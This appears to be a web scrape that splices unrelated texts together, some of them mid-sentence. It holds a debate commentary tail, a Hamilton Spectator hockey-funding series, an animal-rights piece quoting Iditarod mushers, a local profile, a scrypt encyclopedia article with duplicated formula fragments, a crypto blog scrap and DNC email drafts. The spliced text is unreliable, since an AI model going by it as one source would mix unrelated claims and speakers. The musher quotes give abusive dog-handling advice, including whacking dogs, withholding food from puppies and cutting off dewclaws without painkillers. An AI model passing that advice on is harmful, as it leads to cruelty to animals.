Reasonable people can differ on how important Sanders's disinterest in the issue is, but insofar as it matters, the fact that he appeared clearly out of his element wasn't particularly helpful. When Chuck Todd asked him why he hadn't laid out his foreign policy philosophy, Sanders didn't reply, "Because that's an empty campaign season ritual that doesn't actually matter." He claimed a mostly unrelated speech about socialism counted.
That's really weak sauce when trying to defend your credentials against a former secretary of state, who, for better or worse was pretty clear about what she'd do about ISIS: "I am against American combat troops being in Syria and Iraq. I support special forces and the air campaign." Sanders failed to lay out any way in which his ISIS policy would differ from hers, and his comments on Iran were mostly devoted to insisting they didn't disagree on how to deal with the country.
Sanders clearly won on domestic policy. Clinton clearly won on foreign policy. And both gave excellent performances that offered compelling substantive grounds for supporting them. It feels perverse to label either a loser.
Loser: Debbie Wasserman Schultz
Tonight's debate wasn't even supposed to happen. It was not on the original list of six approved by the Democratic National Committee and its chair, Debbie Wasserman Schultz. But then NBC and the Union Leader — New Hampshire's biggest newspaper — agreed to hold one even without the DNC's go-ahead, Clinton signed on, and Sanders signed on and got Clinton to commit to three additional debates. And so it was that a Democratic debate was scheduled for 9 o'clock on a Thursday night ahead of the earliest primary, perhaps the best possible time for maximum viewership.
That was definitely not the strategy behind the DNC's pre-approved debate schedule. Recall that the last debate was held on the Sunday night before Martin Luther King Jr. Day. While Wasserman Schultz insisted that it was timed to "maximize the opportunity for voters to see our candidates," basically no one believed her. Networks generally don't save their most promising shows for the night before a federal holiday |
, the funding is divided between elite programs, such as the province's under-16 team, and the centre's 10 member organizations (including the Alliance, which is the regional administrator for the Hamilton Minor Hockey Council and Hamilton Huskies, and the Ontario Minor Hockey Association, which presides over the Hamilton Jr. Bulldogs).
Dillon says each of the organizations receives between $25,000 and $30,000 annually. The cash is generally used to subsidize programming — referee seminars, coaching clinics, initiation programs and so forth — but it doesn't go far. The Alliance, for instance, has 30,000 members, which means the province's annual contributions amount to roughly $1 per player.
This year, Ontario's sport ministry also provided $150,000 in funding to promote programming, participation and excellence within the Ontario Women's Hockey Association. That's $50,000 less than its $200,000 commitment to the 2017 World Junior Championship in Toronto and Montreal.
Interestingly, both the federal and provincial governments — not to mention Hockey Canada — recognize inclusion as a policy objective. For example, the vision for the Canadian Sport Policy is to have, by 2020, a dynamic and innovative culture that celebrates participation and excellence in sport.
"Implicit in that vision," the document says, "is the notion that Canada is a leading sport nation where all Canadians can pursue sport to the extent of their abilities and interests, including performing at the highest competitive levels."
Meanwhile, GameON, the Ontario government's sport plan, pledges to review its existing sport programs and work with partners to improve access for priority populations, such as children from low-income families.
It also promises to ensure that athletes receive "the right support," as well as access to trained coaches, officials and volunteers as they progress through the system and their skills develop.
William McTeer, a sport sociologist at Wilfrid Laurier University, says the federal and provincial governments may talk about creating opportunities for a broad-based and diverse group of participants — in reality, though, it's nothing more than "lip service."
"I think their anticipation is municipal governments will provide it, because at the provincial level, they're just kind of a cut below the national level and, again, they're looking at elite sport and are not concerned about what goes on at the grassroots level," he says.
That's not to say there's no funding for lower-tier sport. In 2015, Sport Canada gave $1.3 million to Canadian Tire Jumpstart — a national charity that helps children from low-income families access sporting activities, including hockey. A year earlier, the Hockey Canada Foundation gifted the initiative $250,000.
Such programs, however, don't solve the problem. With few exceptions, they earmark their funding for recreational registration — it can't be used for competitive hockey. Even then, it often covers only a portion of the fee and doesn't address other barriers, such as equipment or transportation costs, not to mention power skating and other extras which are all but necessary in order to make it to the OHL today.
Eleanor McMahon, Ontario's minister for sport, doesn't bristle at the criticism. If there are funding gaps, she says, "I would like to have a conversation with our provincial sport organizations, with minor hockey associations, because I know we have funded considerable amounts in the past couple of years.
"So," she continues, "if there is a need for us to be directing funding in a different direction or to be placing a greater emphasis, I am open to that conversation — for sure I am. If there are barriers to opportunity to young people getting into sport, then, again, that is a conversation we are absolutely open to having and hearing, and working creatively together to find funding."
A program with promise and problems
Several experts in sport and social class agree that if we're going to make hockey more accessible to kids from diverse neighbourhoods, school sport — at one time an engine of democratization and a great social leveller — is a good place to start.
Interestingly, a program already exists that addresses some of the challenges raised throughout this series: the Hockey Canada Skills Academy. But it's not without problems.
First, some background.
The specialized in-school program evolved out of the original Molson Ice Summit — a 1999 forum that brought together key hockey leaders and stakeholders from coast to coast to identify recommendations for the future of the sport in Canada.
They came up with 11, one of which was to "promote co-operative efforts between school boards, local hockey associations and sponsors, to better utilize ice times and school facilities and move toward the development of sport schools."
The program, which is offered at five Hamilton schools, has several benefits. It increases training time, enhances skill development and helps to equalize development opportunities for late bloomers and kids who are late to take up the sport. As Hockey Canada puts it, it "has the potential to be a second mainstream player development program mirroring the minor hockey club team system in Canada."
It's a great idea — with a fee.
Anthony Herrington is a local teacher and scout for the OHL's Oshawa Generals. He established the city's first skills academy at his school, Sherwood, more than a decade ago, before helping it expand to three other secondary schools — Ancaster, Sir Winston Churchill and Waterdown — as well as Tapleytown elementary.
Herrington says anyone, regardless of income or skill level, can apply to the program, but registration isn't cheap — $500 per semester for a high school student and $700 per year for a child in elementary school. You also need equipment, and are responsible for your own transportation to and from school, and, in some cases, the rink.
The Belleville native believes his drills and training (students are on the ice twice a week, or 30 times per semester) could make elite players out of kids from any neighbourhood or background — at least under the right conditions. "I provide an environment that, if you're motivated, you could take advantage of a lot of resources that I have at my disposal and I could help send you on your way," he says.
In fact, Cristiano DiGiacinto, a Hamilton native who now plays for the Windsor Spitfires, and Derek Seguin, who was selected by the Hamilton Bulldogs in this year's OHL draft, are both program grads. In each case, however, they played — and excelled — at elite AAA hockey long before they ever set foot in Sherwood, which is also true of anywhere between 15 and 50 per cent of program participants.
So, what is the likelihood that Herrington could pluck an inherently talented kid from obscurity and turn him into an OHL-calibre player? Not good — especially if he can't reach them until their teen years.
"In a perfect world, I would be doing this program at a younger age where maybe I would be able to introduce them to unique things," he says. "At the high school level, I think the fun factor really takes over."
As for the others — the ones like DiGiacinto and Seguin, who are already playing high-level hockey — the skills academy is yet another advantage; an add-on for a class of players who already have a leg up.
"These kids are already doing private training, they're already playing in tournaments and games and stuff, so to do my program is a nice little bonus," he says.
What can be done?
10 ideas
In Hamilton and across Ontario, kids are cut out of hockey opportunities for reasons that have nothing to do with talent. Here are 10 ideas — big and small — to help remove some of the barriers that stand in their way.
1. Work together
Ontario's sport minister Eleanor McMahon says creating a consortium with non-profits — Boys and Girls Clubs, for instance, or Canadian Tire Jumpstart — could help the government better understand how to reach kids from diverse neighbourhoods and identify funding gaps. Including other stakeholders, such as the Hockey Development Centre for Ontario, would only help.
2. Relax restrictions
The City of Hamilton and non-profits could follow the example of the Minor Hockey Foundation Ontario and subsidize — fully, if possible — the cost of either recreational or competitive registration for low-income families. For those with the skills to take advantage of the opportunity, it could be a life-changing resource.
3. Educate parents
Year-round hockey is pricey and potentially damaging to a player's development. The sport's key stakeholders, including Hockey Canada, should better communicate to parents and grassroots organizations what it already knows — playing multiple sports is better for kids and it prevents injuries and burnout in the long run.
4. Create an equipment bank
It's expensive for any family to outfit a growing child with hockey equipment. For some, though, it's outright roadblock. If the Hamilton Minor Hockey Council were to partner with the city, local businesses and hockey clubs to establish a permanent, centrally located equipment bank for low-income families, it could go a long way toward levelling the playing field.
5. Delay AAA
Some provinces, including Nova Scotia, have removed the atom AAA level (nine- and 10-year-olds) in order to make minor hockey more accessible, affordable and inclusive. Ontario's hockey associations — including the Ontario Minor Hockey Association, which still runs novice AAA leagues for eight-year-olds — might be wise to do the same.
6. Boost public funding
Several experts in sport sociology agree minor hockey — all sports, actually — are dramatically underfunded in Ontario and across the country. Enhancing investments in programs and facilities would improve hockey opportunities for local families and, likely, save the provincial and federal governments some cash (in the form of health care savings, for instance) in the long run.
7. Leverage resources
As an extension, McMahon, the provincial sport minister, could work more closely with other ministries, such as health and education, as well as municipal governments to leverage resources more effectively. Subsidizing fees or ice rental rates for in-school sport programs, such as the Hockey Canada Skills Academy, would help improve access for local families.
8. Cut the fees
Hockey Canada charges the Hamilton-Wentworth District School Board $3,250 annually to operate its Skills Academy — a fee that covers instructional resources and insurance, as well as apparel licenses, logo usage and business cards. The organization could reduce the bill by ditching the promotional materials, while the city could curb the cost for students — $500 per semester — by increasing ice time subsidies.
9. Geography matters
The Hamilton Minor Hockey Council's introductory program is only offered at the Mohawk 4 Ice Centre on the east Mountain, which is difficult for families to access — especially if they don't have a car. The council could operate the program out of more centrally located rinks, such as Eastwood in the city's North End, to help mitigate some transportation-related barriers.
10. Subsidize fares
Getting to and from the rink by bus can be pricey, especially with a couple of kids in tow. The city could consider covering the costs of public transit for low-income families whose children are registered in minor hockey — a step that would only boost participation.
Not talking
Between the beginning of August and the end of October, The Spectator made four requests to interview Hockey Canada president Tom Renney or another official.
None were accommodated.
We also attempted to interview Carla Qualtrough, the federal minister of sport and persons with disabilities. She was not made available, but did issue the following statement:
Our government is committed to helping grow the middle class and those working hard to join it. Through the Canada Child Benefit, the Government of Canada is helping middle-class families with the cost of raising their children, including supporting their children to pursue their sport dream. With nine out of 10 Canadian families receiving more than they received previously, this benefit helps those who need it the most.
The cost of participating in sport, recreationally and at the higher levels of competition, is a concern for many Canadian families, as it is for me. It is a challenge that is going to require a concerted effort on the part of all levels of government — federal, provincial/territorial, and municipal — and our partners across Canada's sport system to work together to identify potential solutions.
Our government has re-engaged through bilateral agreements with all 13 provincial/territorial governments. These agreements are aimed at programs that offer participation and development opportunities for youth across Canada, especially in under-represented groups including indigenous peoples, youth at risk and Canadians living with a disability.
Series extras
How we did it
The Spectator requested home postal codes for all Ontario-raised players from the Ontario Hockey League’s 20 teams. Of those, 13 provided us with information for the players on their post-trade deadline rosters and seven — the North Bay Battalion, the Mississauga Steelheads, the Oshawa Generals, the Kingston Frontenacs, the Ottawa 67’s, the Sarnia Sting and the Windsor Spitfires — did not. The OHL head office declined to our request.
In total, we obtained 218 postal codes, which accounts for roughly 60 per cent of the Ontario-born players in the league after the trade deadline. All but a few, which were obtained by reaching out to individual players by phone or social media, came directly from the 13 participating teams. We then attempted to cross-reference the postal codes with demographic data from Statistics Canada’s 2011 National Household Survey, before comparing the outcomes with provincial and regional averages. We also mapped them.
We found demographic data for 165 of the 218 postal codes. Information for the remaining 53 was unavailable for several reasons — in some cases, it was blacked out because the number of respondents in the corresponding census tract was too small, while in others, the postal code didn’t align with a single census tract, but two or three or more.
Those 53 postal codes were included in our geographic analyses, but not our findings related to median family incomes, post-secondary completion rates and so forth.
The Spectator also used information from the City of Hamilton’s ward profiles, which are a compilation of data from several sources including the 2011 Census, the 2011 NHS, city permits and applications and the Canadian Mortgage and Housing Corporation. As the city acknowledges, there are some drawbacks to using NHS data, since the survey was voluntary. That means the results could be subject to higher non-response bias than the previous mandatory long-form census — a concern because populations who choose to respond to a survey tend to be different than those who choose not to.
When reading this project, you’ll notice we abstained from publishing the teams and players associated with the postal codes, as well as the postal codes themselves. This was done in an effort to protect the privacy and personal information of the players — mostly teenagers between the ages of 16 and 20. It’s also worth stating that our findings relate not to the players’ families, but to the broader neighbourhoods in which they reside.
— Teri Pecoskie, Hamilton Spectator
E.J. McGuire data supports Spec findings
E.J. McGuire
He might have been best known for his work as a coach and scout, but E.J. McGuire was also a top-notch researcher.
Before his death from cancer in 2011, the Buffalo native and former Guelph Storm bench boss worked with Wilfrid Laurier University’s William McTeer and McMaster University’s Phil White to gather and analyze information about the parents of NHL draftees.
The trio looked at everything from occupational status and education levels to divorce rates in order to gain an understanding of the families from which elite hockey players come.
They collected data over two three-year periods (1993-95 and 2003-05) and compared it to the results of national labour force surveys and Statistics Canada reports. McTeer says their findings were presented at a conference, but never published — he provided them to The Spectator because of their relevance to this project. View the PDFs below.
In the first three-year period, McGuire and his collaborators found both mothers and fathers of draftees were most likely to work as either self-employed or employed professionals or high-level managers — jobs at the high end of the occupational status scale, which speaks to the cost of participating in high-level hockey and who is able to afford it.
They also found most had either a post-secondary diploma or university degree and almost all (88 per cent) were still married (compared to 60 per cent for the general population).
One significant change in the second three-year period had to do with the parents’ work. This time around, both mothers and fathers were most likely be occupied in semi-professional, technician, middle management or supervisor roles, as foremen, or in the skilled clerical, sales, service or crafts trades.
The decline among fathers in the highest occupational status group could be due to a couple of factors, says McTeer — disenchantment with the game given its violence and the media buzz around concussions, or, possibly, the fact that elite hockey leaves little time for things such as family meals, vacations or other sports.
It’s also possible that, since the work weeks of professionals are generally getting longer, dads on the top end of the occupational status scale simply have less time to take their kids to hockey games and practices.
Interestingly, McTeer notes, there’s no corresponding drop in education levels, which is thought to be a closely related variable. In fact, the percentage of fathers with university degrees rose from 27 per cent to 42 per cent from the first three-year period to the second, while the percentage of mothers with university degrees more than doubled from 22 per cent to 47 per cent.
— Teri Pecoskie, Hamilton Spectator
NHL Parents Data by The Hamilton Spectator on Scribd
Player profiles
PAY TO PLAY
About the series
A highly significant number of the Ontario Hockey League’s homegrown players come from a small and exclusive segment of society where high rates of post-secondary education, incomes and housing values collide.
Is it a problem? How was it caused? And what could be done to fix it?
Those are the questions the Spectator's Teri Pecoskie sets out to answer in this three-part series. Here’s a rundown of where we’ve been and what’s to come:
The problem: Our data shows Ontario-born players tend to come from similar neighbourhoods — a trend that could have implications for the OHL, Hockey Canada and the sport itself
The cause: Hockey is expensive, but cost is just one of several factors preventing kids from diverse neighbourhoods and backgrounds from playing the game — particularly at competitive levels
Part 3 (this part)
The fix: Stakeholders say they believe in hockey opportunities for all, but it’s going to take more than talk to level the playing field
tpecoskie@thespec.com
905-526-3368 | @TeriatTheSpecMushers Mitch Seavey and his son Dallas wrote the book—two books actually—on beating, depriving, and neglecting dogs all the way to an Iditarod championship.
The Seavey clan is infamous for treating dogs like garbage. Just recently, four-time Iditarod champion Dallas was implicated in a dog-doping scandal, and a subsequent whistleblower report apparently revealed dying puppies and injured, sick dogs at his kennel in Willow, Alaska.
So it’s no surprise that Mitch’s Lead, Follow or Get Out of the Way! and Dallas’s Born to Mush are full of anecdotes and tips that discuss the abuse of animals in the sledding industry as though it’s no big deal. Just some of the more revolting quotes are collected below.
Whacking, Kicking, and Hitting Dogs
1. “‘Hike-up’ is my ‘quit-your-screwing-around-you-miserable-excuse-of-a-fur-covered-garbage-disposal-before-I-whack-your-worthless-hiney-so-hard-you-will-need-two-stamps-to-send-back-a-postcard’ command. … [Y]ou will have a similar command if you are ever successful in racing.”
2. “When he doesn’t respond, stop, go up to the dog, pull back on his tug line, and with a pre-selected willow stick about ½ inch in diameter and three feet long, give him a good whack on the butt as you repeat the command. You have to whack him good, too. Don’t just hit the tug line or something. If you are going to bother with this, it’s got to sting.”
3. “Some race rules or guidelines attempt to address fighting, but it’s a joke! No kicking or hitting, no foul or impolite language, or something like that. Well, it is a joke as far as breaking up a serious fight, but it’s not a joke as far as rule enforcement goes! You will get ejected for kicking or hitting a dog in a race, even in a dogfight. So what to do? Get it over with long before the race starts.”
Inhumanely Treating Dogs Like Property
4. “These dogs are hardy survivors of the harshest elements and of necessity were culled by their ancient masters to only the individuals that would perform as needed.”
5. “Remember, you are not collecting pets here. You are assembling a team of top athletes.”
6. “Tie the pups up [at] around six months of age.”
7. Regarding veterinary care: “In fact, any expense that exceeds the dollar value of the dog is suspect in my book.”
8. “Somewhere along the way, people have blurred the lines between humans and our pets. Now it seems not only humans but also house cats and pet dogs are guaranteed long life no matter what.”
9. “[T]here are some animal care professionals and veterinarians that want you to think you are a ‘pet parent’ not an animal owner. Of course, if you are a pet parent, then the animal is your ‘child’, thus no expense must be spared for the medical care of your child. Here’s where we go to the lunatic fringe.”
10. “As for me, there is no confusion between who is a family member and who is an animal. My obligations and responsibilities to those two separate groups are very, very different.”
Withholding Food From Puppies
11. “Then, being the mean so-and-so that I am, I go to feeding only once a day for pups. Ignore the bag. Ignore the vet. … You are training piranhas here. This is very important so they always, always, eat what you give them right away. … Good eaters are made, mostly, in the puppy pen.”
Mutilating Dogs
12. On cutting off dewclaws without any painkillers: “I use a large toenail clipper and just cut ’em off. Then you will see a little soft bone in there. It’s really just a little nub. You have to get that out of there, or else it will grow back in one form or another.”
13. “I’ve heard vets say to dewclaw them at two or three days. I think they are convinced it would hurt less at an early age or something, but I tell you, they can bleed a lot and holler quite a bit at that age. It’s better to do them at six days.”
Expressing ‘Manliness’ by Abusing Animals
14. “To my dismay, there has been a ‘sissification’ of our sport over the last few years because of outside pressure and the general ‘pansifying’ of our culture. A lot of mushers spend way too much time justifying themselves and the sport, talking about how good they are to their dogs, how happy their dogs are, etc. I’m not going to do that here.”
Instances When Dallas Seavey Slept While the Dogs Pulled the Sled Through Agonizingly Frigid Temperatures
15. “I dozed off during those final miles to Unalakleet. I shivered and snoozed as the team sped down the Unalakleet River, and my sweaty feet began to freeze.”
16. “The dogs moved down the trail toward Rosebud like a smooth train while I dozed in and out of sleep.”
17. “After hours of pushing, I dozed off. When I jolted awake, I wasn’t sure how much time had passed. The dogs were flying. My brain started to wake up and assess the situation”
When a Dog Was in Danger of Drowning Under Dallas’s Watch
18. “Just as I freed my second leg from the snowpants, a sudden panic hit me. Guinness was still in the sled—trapped! In the midst of trying to get the team out of the river, I had forgotten Guinness in the sled.”
Anecdote in Which Mitch Jokes About a Dog Who Caught on Fire
19. “After you’ve trimmed the hair you need to ‘candle’ their feet, or singe the ends of the hair that you trimmed. This makes snow even less likely to collect in the foot hair. Notice the term is ‘candle’ the feet. My boys are always looking for faster ways to do their chores. I suppose that is why they started using a propane torch to ‘candle’ dogs’ feet. That in turn explains why, upon entering the shop one winter’s day, I observed the back half of my best leader apparently going up in flames. This gives a whole new meaning to the term, ‘Put the dog out, son!'”
*****
Whether out on the trail or training behind the scenes, dogs deserve far better than a lifetime of cruelty, suffering, and death.
Call on corporate sponsors to drop the deadly Iditarod. Already, numerous companies—including Costco, Guggenheim Partners, Maxwell House, Nestlé, Pizza Hut, Rite Aid, Safeway, State Farm, and Wells Fargo—have severed ties with the abusive race.Please enable Javascript to watch this video
CHESTERFIELD COUNTY, Va. -- As a child Axana Soltan could only dream of standing before her graduating class at VCU. The 21-year-old commencement speaker, who lives in Chesterfield, has come a long way from her native Afghanistan.
Axana, the youngest in her family of five, immigrated to the United States when she was 10.
"I am a diligent worker. I work very hard," Axana said. "I embrace everything I am given. I take nothing for granted."
Axana and her family escaped unrest in Afghanistan in search of opportunities in the United States.
Earning an education was a top priority in her family. The VCU graduate with a degree in Criminal Justice has big plans and an even bigger heart.
"I’ve always been passionate about helping people," Axana said.
When she was just 15 years old, she founded Enhancing Children’s Living -- a non-profit that helps underprivileged students near and far. Really, really far.
ECL’s reach stretches from Richmond, to Haiti, and all the way to Afghanistan.
"Coming from that background I"ve always wanted to reach out and help those that are less fortunate than I am," Axana said.
Simple items, Axana said, like school supplies and shoes can leave an everlasting impact on others.
"It is indescribable. It is an amazing feeling knowing you can make a difference in someone’s life," Axana said.
She is an aspiring human rights lawyer who also tutors at Carver Elementary and the juvenile detention center in Richmond.
"I want to contribute to the judicial system in positive ways," Axana said.
In this political climate where immigration and refugees remain front and center Axana wants to remind people what newcomers can offer.
"A refugee can be a class president. An accomplished student. A lawyer and a humanitarian," Axana said.
Axana Soltan said she remains forever grateful for her chance to stand before her graduating class and at the doorstep of the American Dream.
"I would not have the opportunities I have here if I was living in Afghanistan I would not be free to go to school and become a commencement speaker and do all of these wonderful things that I’m doing I am very thankful to this country," she said.
Axana said she wanted to continue her education in law school this fall. She aspires to be a human rights attorney and eventually become a judge.
Greg McQuade features local heroes in a weekly “Heroes Among Us” segment. Watch Greg’s reports Thursdays on CBS News at 6 or here on WTVR.com. If you would like to nominate someone to be featured on “Heroes Among Us,” click here to email heroes@wtvr.com.Not to be confused with Script (disambiguation)
scrypt General Designers Colin Percival First published 2009 Cipher detail Digest sizes variable Block sizes variable Rounds variable
In cryptography, scrypt (pronounced "ess crypt"[1]) is a password-based key derivation function created by Colin Percival, originally for the Tarsnap online backup service.[2] The algorithm was specifically designed to make it costly to perform large-scale custom hardware attacks by requiring large amounts of memory. In 2016, the scrypt algorithm was published by IETF as RFC 7914. A simplified version of scrypt is used as a proof-of-work scheme by a number of cryptocurrencies, first implemented by an anonymous programmer called ArtForz in Tenebrix and followed by Fairbrix and Litecoin soon after.[3]
Introduction [ edit ]
A password-based key derivation function (password-based KDF) is generally designed to be computationally intensive, so that it takes a relatively long time to compute (say on the order of several hundred milliseconds). Legitimate users only need to perform the function once per operation (e.g., authentication), and so the time required is negligible. However, a brute-force attack would likely need to perform the operation billions of times, at which point the time requirements become significant and, ideally, prohibitive.
Previous password-based KDFs (such as the popular PBKDF2 from RSA Laboratories) have relatively low resource demands, meaning they do not require elaborate hardware or very much memory to perform. They are therefore easily and cheaply implemented in hardware (for instance on an ASIC or even an FPGA). This allows an attacker with sufficient resources to launch a large-scale parallel attack by building hundreds or even thousands of implementations of the algorithm in hardware and having each search a different subset of the key space. This divides the amount of time needed to complete a brute-force attack by the number of implementations available, very possibly bringing it down to a reasonable time frame.
The scrypt function is designed to hinder such attempts by raising the resource demands of the algorithm. Specifically, the algorithm is designed to use a large amount of memory compared to other password-based KDFs,[4] making the size and the cost of a hardware implementation much more expensive, and therefore limiting the amount of parallelism an attacker can use, for a given amount of financial resources.
Overview [ edit ]
The large memory requirements of scrypt come from a large vector of pseudorandom bit strings that are generated as part of the algorithm. Once the vector is generated, the elements of it are accessed in a pseudo-random order and combined to produce the derived key. A straightforward implementation would need to keep the entire vector in RAM so that it can be accessed as needed.
Because the elements of the vector are generated algorithmically, each element could be generated on the fly as needed, only storing one element in memory at a time and therefore cutting the memory requirements significantly. However, the generation of each element is intended to be computationally expensive, and the elements are expected to be accessed many times throughout the execution of the function. Thus there is a significant trade-off in speed in order to get rid of the large memory requirements.
This sort of time–memory trade-off often exists in computer algorithms: speed can be increased at the cost of using more memory, or memory requirements decreased at the cost of performing more operations and taking longer. The idea behind scrypt is to deliberately make this trade-off costly in either direction. Thus an attacker could use an implementation that doesn't require many resources (and can therefore be massively parallelized with limited expense) but runs very slowly, or use an implementation that runs more quickly but has very large memory requirements and is therefore more expensive to parallelize.
Algorithm [ edit ]
The algorithm includes the following parameters:
Passphrase - The string of characters to be hashed.
Salt - A string of characters that modifies the hash to protect against Rainbow table attacks
N - CPU/memory cost parameter.
p - Parallelization parameter; a positive integer satisfying p ≤ (2 32 − 1) * hLen / MFLen.
− 1) * hLen / MFLen. dkLen - Intended output length in octets of the derived key; a positive integer satisfying dkLen ≤ (2 32 − 1) * hLen.
− 1) * hLen. r - The blocksize parameter, which fine-tunes sequential memory read size and performance. 8 is commonly used.
hLen - The length in octets of the hash function (32 for SHA256).
MFlen - The length in octets of the output of the mixing function (SMix below). Defined as r * 128 in RFC7914.
Function scrypt Inputs: Passphrase: Bytes string of characters to be hashed Salt: Bytes random salt CPU/memory cost parameter BlockSizeFactor (r): Integer blocksize parameter (8 is commonly used) ParallelizationFactor (p): Integer Parallelization parameter. (1..232-1 * hLen/MFlen) DesiredKeyLen: Integer Desired key length in bytes Output: DerivedKey: Bytes array of bytes, DesiredKeyLen long Step 1. Generate expensive salt blockSize ← 128*BlockSizeFactor //Length (in bytes) of the SMix mixing function output (e.g. 128*8 = 1024 bytes) Use PBKDF2 to generate initial 128*BlockSizeFactor*p bytes of data (e.g. 128*8*3 = 3072 bytes) Treat the result as an array of p elements, each entry being blocksize bytes (e.g. 3 elements, each 1024 bytes) [B 0...B p−1 ] ← PBKDF2 HMAC-SHA256 (Passphrase, Salt, 1, blockSize*ParallelizationFactor) Mix each block in B 2CostFactor times using ROMix function (each block can be mixed in parallel) for i ← 0 to p-1 do B i ← ROMix(B i, 2CostFactor) All the elements of B is our new "expensive" salt expensiveSalt ← B 0 ∥B 1 ∥B 2 ∥... ∥B p-1 //where ∥ is concatenation Step 2. Use PBKDF2 to generate the desired number of bytes, but using the expensive salt we just generated return PBKDF2 HMAC-SHA256 (Passphrase, expensiveSalt, 1, DesiredKeyLen);
Where PBKDF2(P, S, c, dkLen) notation is defined in RFC 2898, where c is an iteration count.
This notation is used by RFC 7914 for specifying a usage of PBKDF2 with c = 1.
Function ROMix(Block, Iterations) Create Iterations copies of X X ← Block for i ← 0 to Iterations−1 do V i ← X X ← BlockMix(X) for i ← 0 to Iterations−1 do j ← Integerify(X) mod Iterations X ← BlockMix(X xor V j ) return X
Where RFC 7914 defines Integerify(X) as the result of interpreting the last 64 bytes of X as a little-endian integer A 1.
Since Iterations equals 2 to the power of N, only the first Ceiling(N / 8) bytes among the last 64 bytes of X, interpreted as a little-endian integer A 2, are actually needed to compute Integerify(X) mod Iterations = A 1 mod Iterations = A 2 mod Iterations.
Function BlockMix(B): The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) r ← Length(B) / 128; Treat B as an array of 2r 64-byte chuncks [B 0...B 2r-1 ] ← B X ← B 2r−1 for i ← 0 to 2r−1 do X ← Salsa20/8(X xor B i ) //Salsa20/8 hashes from 64-bytes to 64-bytes Y i ← X return ← Y 0 ∥Y 2 ∥...∥Y 2r−2 ∥ Y 1 ∥Y 3 ∥...∥Y 2r−1
Where Salsa20/8 is the 8-round version of Salsa20.
Cryptocurrency uses [ edit ]
Scrypt is used in many cryptocurrencies as a proof-of-work algorithm. It was first implemented for Tenebrix (released in September 2011) and served as the basis for Litecoin and Dogecoin, which also adopted its scrypt algorithm.[5][6] Mining of cryptocurrencies that use scrypt is often performed on graphics processing units (GPUs) since GPUs tend to have significantly more processing power (for some algorithms) compared to the CPU.[7] This led to shortages of high end GPUs due to the rising price of these currencies in the months of November and December 2013.[8]
As of May 2014, specialized ASIC mining hardware is available for scrypt-based cryptocurrencies.[9] As of 2016, InnoSilicon claims to have 14 nm technology with an efficiency of 1.5 µJ/hash.[10]
See also [ edit ]
Key derivation function
Argon2, winner of the Password Hashing Competition
crypt, password storage and verification scheme
PBKDF2, a widely used standard password-based key derivation function
bcrypt, password hashing function using Blowfish
Space–time tradeoffThroughout the years Bitcoin has been around there have been a bunch of thefts and scams connected to the currency. However, people often forget how much this happens with cash and credit card services.
Illegal activities and crime are a much larger issue for the fiat game. When these losses happen, many clamor for regulation from governments and financial officials to calm the ‘wild wild West’ of cryptocurrency. What these people are missing is the fact that the community itself self-regulates our economy.
One of the greatest examples is the loss of BTC from the infamous Mt. Gox exchange. Many look at this event as one of the most catastrophic times in the existence of cryptocurrency.
After it happened, a good swarm of people chimed in for the governing authorities to step in and stop the madness. Yet, this is akin to asking for a paid protection service much like the mafia back in the day. What people don’t realize is that the community had handled the case thoroughly and the best they could.
[tweet_box design=”box_02″]Bitcoin will thrive on its own. As John Lennon once said, we need to “Let It Be.”[/tweet_box]
Close to a over a year prior to the exchange’s downfall, several warnings were issued by the community stating that Mt. Gox was an insolvent exchange. Due to its own private off-chain transaction database this wasn’t very apparent to the majority, but they were still warned. The community also had members so staunch about |
below in the order in which we'll send them as we've laid out in a memo to Amy: * Emails from DWS thanking Bernie (similar to what we did when MOM dropped out) * Copy for unity-themed graphics * Hillary emails from Amy (our first Hillary-focused emails) * Hillary graphic copy * Emails from POTUS for when he endorses Please let me know if there are any questions about these. Thanks much, Eric == DWS thank you Bernie == -v1(JGR)- Sender: Debbie Wasserman Schultz Friend -- Throughout this primary, there has been a relentless focus on fighting the effects of income inequality and combatting the corrosiveness in our campaign finance system in a way I've never seen in any election before. These issues are so important in our ultimate goal as Democrats of giving every American a fair shot to succeed. <LINK>So I want to thank Bernie Sanders for bringing them to the forefront of his campaign and putting these Democratic values we share into the spotlight.</LINK> I want to thank him for his unwavering commitment to equality for all and his dedication to improving the lives of Americans everywhere. For his insistence that we can do better. Because I agree -- we can do better, and we must do better, for the sake of every parent who wants their kids' lives to be a little brighter, for every student who wants to reach higher and go further, and for every person who sees this country as a place with opportunity for all. NAME, as a presidential candidate and as a member of Congress for more than two decades, Bernie Sanders has excited the people of this country, and I know he'll continue to, no matter what he does next. So as he ends his campaign today, add your name to mine to thank him for everything: LINK Thanks so much. Debbie Debbie Wasserman Schultz Chair Democratic National Committee -v2(ER)- Sender: DWS Friend - Over the past year, we've seen two very different presidential primaries. On the Republican side, we had a true race to the bottom that has resulted in not only a rush to adopted the kinds of bigoted and xenophobic policies we've come to expect from the Republican Party, but in the mudslinging and even physical violence we've seen from the Republican candidates and their supporters. And then, from our candidates, we he had a serious, substantive debate that has been centered on the core values of our party: lifting up the most vulnerable among us, securing an economy where everyone has a fair shot, ensuring equality for all. Our party is stronger because of Bernie Sanders' voice on these important issues, the contributions he's made to this primary, and the millions of Americans he has engaged in this election. Today, as he suspends his presidential campaign, I want to thank Bernie Sanders for his everything he has brought to this race - and I want you to join me, NAME: LINK Thanks, NAME - now onward to November and victory! Debbie Debbie Wasserman Schultz Chair Democratic National Committee == Bernie unity gfx == - v1 - NAME(TODAY) Make sure you're standing with (Bernie photo) The party that's Working for Equal Pay "Women are making 79 cents on the dollar compared To men and for women of color it's even less. That's Nothing but sexism and discrimination." Standing against Climate Change "We need to be bold and decisive... We must, for The sake of our kids and grandchildren, transform Our energy system away from fossil fuel to energy Efficiency and sustainable energy." Fighting to Raise the Minimum Wage "It's got to be raised to a living wage." Building a Strong Middle Class "We're gonna revitalize and rebuild The crumbling middle class." [I'M VOTING DEMOCRAT] -v2(RAE)- Sender: Democrats.org [Photo of Hillary] "What we've got to do as Democrats is to be united to actually solve these problems." - Hillary Clinton [photo of Bernie] "Democrats win when there is a large voter turnout; when people are excited; when working people, middle class people and young people are prepared to engage in the political process." -Bernie Sanders They agree: The best thing for our country Is for our party to come together And support Democratic leadership Across the country and in the White House Are you with them? [I'M A PROUD DEMOCRAT] == Hillary Amy Frs == -v1(CH)- Sender: Amy K. Dacey Our next president will be a Democrat, NAME. Over the past few months, we've seen a group of amazing Democrats with strong visions for the future of our country make the case for why one of them should be the next President of the United States, and I've been proud to stand behind each and every one of them, because I know they would each make us proud in the Oval Office. Now, I'm proud that our party has chosen to stand behind 